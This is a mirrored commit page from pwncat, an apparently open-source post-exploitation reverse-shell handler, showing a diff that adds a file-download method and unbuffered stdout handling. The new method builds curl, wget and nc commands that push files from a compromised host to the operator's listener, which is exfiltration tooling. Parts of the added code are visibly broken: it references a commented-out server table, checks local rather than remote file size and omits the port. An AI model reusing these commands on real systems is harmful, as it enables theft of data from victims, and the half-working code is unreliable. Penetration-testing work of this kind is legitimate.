mirror of
https://github.com/calebstewart/pwncat.git
synced 2024-11-27 19:04:15 +01:00
Added lport to upload command formatting. Fixed stdout buffering issues.
This commit is contained in:
parent
1c6bd80484
commit
fd318b788a
117
pwncat/pty.py
117
pwncat/pty.py
@ -184,6 +184,118 @@ class PtyHandler:
|
|||||||
""" Exit command mode """
|
""" Exit command mode """
|
||||||
self.enter_raw(save=False)
|
self.enter_raw(save=False)
|
||||||
|
|
||||||
|
def do_download(self, argv):
|
||||||
|
|
||||||
|
uploaders = {
|
||||||
|
"curl": (
|
||||||
|
"http",
|
||||||
|
"curl -X POST --data @{remote_file} http://{lhost}:{lport}/{lfile}",
|
||||||
|
),
|
||||||
|
"wget": (
|
||||||
|
"http",
|
||||||
|
"wget --post-file {remote_file} http://{lhost}:{lport}/{lfile}",
|
||||||
|
),
|
||||||
|
"nc": ("raw", "nc {lhost} {lport} < {outfile}"),
|
||||||
|
}
|
||||||
|
# servers = {"http": util.receive_http_file, "raw": util.receive_raw_file}
|
||||||
|
|
||||||
|
parser = argparse.ArgumentParser(prog="upload")
|
||||||
|
parser.add_argument(
|
||||||
|
"--method",
|
||||||
|
"-m",
|
||||||
|
choices=uploaders.keys(),
|
||||||
|
default=None,
|
||||||
|
help="set the download method (default: auto)",
|
||||||
|
)
|
||||||
|
parser.add_argument(
|
||||||
|
"--output",
|
||||||
|
"-o",
|
||||||
|
default="./{basename}",
|
||||||
|
help="path to the output file (default: basename of input)",
|
||||||
|
)
|
||||||
|
parser.add_argument("path", help="path to the file to upload")
|
||||||
|
|
||||||
|
try:
|
||||||
|
args = parser.parse_args(argv)
|
||||||
|
except SystemExit:
|
||||||
|
# The arguments were parsed incorrectly, return.
|
||||||
|
return
|
||||||
|
|
||||||
|
if self.vars.get("lhost", None) is None:
|
||||||
|
util.error("[!] you must provide an lhost address for reverse connections!")
|
||||||
|
return
|
||||||
|
|
||||||
|
if args.method is not None and args.method not in self.known_binaries:
|
||||||
|
util.error(f"{args.method}: method unavailable")
|
||||||
|
elif args.method is not None:
|
||||||
|
method = uploaders[args.method]
|
||||||
|
else:
|
||||||
|
method = None
|
||||||
|
for m, info in uploaders.items():
|
||||||
|
if m in self.known_binaries:
|
||||||
|
util.info("uploading via {m}")
|
||||||
|
method = info
|
||||||
|
break
|
||||||
|
else:
|
||||||
|
util.warn(
|
||||||
|
"no available upload methods. falling back to dd/base64 method"
|
||||||
|
)
|
||||||
|
|
||||||
|
path = args.path
|
||||||
|
basename = os.path.basename(args.path)
|
||||||
|
name = basename
|
||||||
|
outfile = args.output.format(basename=basename)
|
||||||
|
|
||||||
|
# Get the remote file size
|
||||||
|
size = self.run(f'wc -c {shlex.quote(path)} 2>/dev/null || echo "none"')
|
||||||
|
if "none" in size:
|
||||||
|
util.error(f"{path}: no such file or directory")
|
||||||
|
|
||||||
|
with ProgressBar("downloading") as pb:
|
||||||
|
|
||||||
|
counter = pb(range(os.path.getsize(path)))
|
||||||
|
last_update = time.time()
|
||||||
|
|
||||||
|
def on_progress(copied, blocksz):
|
||||||
|
""" Update the progress bar """
|
||||||
|
counter.items_completed += blocksz
|
||||||
|
if counter.items_completed >= counter.total:
|
||||||
|
counter.done = True
|
||||||
|
counter.stopped = True
|
||||||
|
if (time.time() - last_update) > 0.1:
|
||||||
|
pb.invalidate()
|
||||||
|
|
||||||
|
if method is not None:
|
||||||
|
server = servers[method[0]](path, name, progress=on_progress)
|
||||||
|
|
||||||
|
command = method[1].format(
|
||||||
|
outfile=shlex.quote(outfile), lhost=self.vars["lhost"], lfile=name,
|
||||||
|
)
|
||||||
|
|
||||||
|
result = self.run(command, wait=False)
|
||||||
|
else:
|
||||||
|
server = None
|
||||||
|
with open(path, "rb") as fp:
|
||||||
|
self.run(f"echo -n > {outfile}")
|
||||||
|
copied = 0
|
||||||
|
for chunk in iter(lambda: fp.read(8192), b""):
|
||||||
|
encoded = base64.b64encode(chunk).decode("utf-8")
|
||||||
|
self.run(f"echo -n {encoded} | base64 -d >> {outfile}")
|
||||||
|
copied += len(chunk)
|
||||||
|
on_progress(copied, len(chunk))
|
||||||
|
|
||||||
|
try:
|
||||||
|
while not counter.done:
|
||||||
|
time.sleep(0.1)
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
pass
|
||||||
|
finally:
|
||||||
|
if server is not None:
|
||||||
|
server.shutdown()
|
||||||
|
|
||||||
|
# https://github.com/prompt-toolkit/python-prompt-toolkit/issues/964
|
||||||
|
time.sleep(0.1)
|
||||||
|
|
||||||
def do_upload(self, argv):
|
def do_upload(self, argv):
|
||||||
""" Upload a file to the remote host """
|
""" Upload a file to the remote host """
|
||||||
|
|
||||||
@ -263,7 +375,10 @@ class PtyHandler:
|
|||||||
server = servers[method[0]](path, name, progress=on_progress)
|
server = servers[method[0]](path, name, progress=on_progress)
|
||||||
|
|
||||||
command = method[1].format(
|
command = method[1].format(
|
||||||
outfile=shlex.quote(outfile), lhost=self.vars["lhost"], lfile=name,
|
outfile=shlex.quote(outfile),
|
||||||
|
lhost=self.vars["lhost"],
|
||||||
|
lfile=name,
|
||||||
|
lport=server.server_address[1],
|
||||||
)
|
)
|
||||||
|
|
||||||
result = self.run(command, wait=False)
|
result = self.run(command, wait=False)
|
||||||
|
@ -4,6 +4,7 @@ from http.server import BaseHTTPRequestHandler, HTTPServer
|
|||||||
from socketserver import TCPServer, BaseRequestHandler
|
from socketserver import TCPServer, BaseRequestHandler
|
||||||
from functools import partial
|
from functools import partial
|
||||||
from colorama import Fore
|
from colorama import Fore
|
||||||
|
from io import TextIOWrapper
|
||||||
import threading
|
import threading
|
||||||
import logging
|
import logging
|
||||||
import termios
|
import termios
|
||||||
@ -93,6 +94,15 @@ def enter_raw_mode():
|
|||||||
# Ensure we don't have any weird buffering issues
|
# Ensure we don't have any weird buffering issues
|
||||||
sys.stdout.flush()
|
sys.stdout.flush()
|
||||||
|
|
||||||
|
# Python doesn't provide a way to use setvbuf, so we reopen stdout
|
||||||
|
# and specify no buffering
|
||||||
|
old_stdout = sys.stdout
|
||||||
|
sys.stdout = TextIOWrapper(
|
||||||
|
os.fdopen(sys.stdout.fileno(), "ba+", buffering=0),
|
||||||
|
write_through=True,
|
||||||
|
line_buffering=False,
|
||||||
|
)
|
||||||
|
|
||||||
# Grab and duplicate current attributes
|
# Grab and duplicate current attributes
|
||||||
fild = sys.stdin.fileno()
|
fild = sys.stdin.fileno()
|
||||||
old = termios.tcgetattr(fild)
|
old = termios.tcgetattr(fild)
|
||||||
|
Loading…
Reference in New Issue
Block a user